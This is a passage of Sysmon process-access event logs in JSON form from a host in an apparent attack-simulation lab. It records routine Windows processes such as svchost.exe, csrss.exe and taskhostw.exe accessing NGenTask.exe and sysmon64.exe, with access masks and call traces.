{90617006-422C-5F2D-0000-001047240900}\r\nSourceProcessId: 4824\r\nSourceThreadId: 4012\r\nSourceImage: C:\\Windows\\system32\\taskhostw.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-001026310900}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b56bc|UNKNOWN(00007FF8EA4511E2)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-422C-5F2D-0000-001047240900}","SourceProcessId":"4824","SourceThreadId":"4012","SourceImage":"C:\\Windows\\system32\\taskhostw.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-001026310900}","TargetProcessId":"4360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b56bc|UNKNOWN(00007FF8EA4511E2)","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6326,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-001026310900}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-001026310900}","TargetProcessId":"4360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6327,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6328,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6329,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6330,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6331,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6332,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6333,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 